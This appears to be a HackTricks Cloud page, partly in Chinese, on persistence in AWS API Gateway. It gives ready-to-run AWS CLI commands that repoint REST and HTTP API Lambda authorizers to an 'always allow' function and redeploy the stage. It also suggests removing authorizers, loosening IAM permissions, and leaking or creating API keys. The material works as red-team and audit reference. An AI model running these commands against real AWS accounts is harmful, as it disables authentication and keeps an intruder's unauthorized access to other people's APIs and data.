AWS - API Gateway Persistence

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

查看 subscription plans!

加入 💬 Discord group 或者 telegram group 或关注我们的 Twitter 🐦 @hacktricks_live.

通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PRs 来分享 hacking tricks。

API Gateway

更多信息请见：

AWS - API Gateway Enum

修改 Lambda Authorizers

修改 lambda authorizers 的代码，以授予自己对所有 endpoints 的访问权限。\ 或者直接移除 authorizer 的使用。

如果你拥有控制平面权限来 create/update an authorizer (REST API: aws apigateway update-authorizer, HTTP API: aws apigatewayv2 update-authorizer)，你也可以 repoint the authorizer to a Lambda that always allows。

REST APIs（更改通常需要部署）：

REGION="us-east-1"
REST_API_ID="<rest_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"

aws apigateway update-authorizer --region "$REGION" --rest-api-id "$REST_API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
aws apigateway create-deployment --region "$REGION" --rest-api-id "$REST_API_ID" --stage-name "<stage>"

HTTP APIs / apigatewayv2 (通常立即生效):

REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"

aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"

IAM 权限

如果一个资源使用 IAM authorizer，你可以通过修改 IAM 权限来为自己授予访问权限。
或者直接移除 authorizer 的使用。

API Keys

如果使用 API keys，你可以 leak 它们以维持持久性，甚至创建新的 API keys。
或者直接移除 API keys 的使用。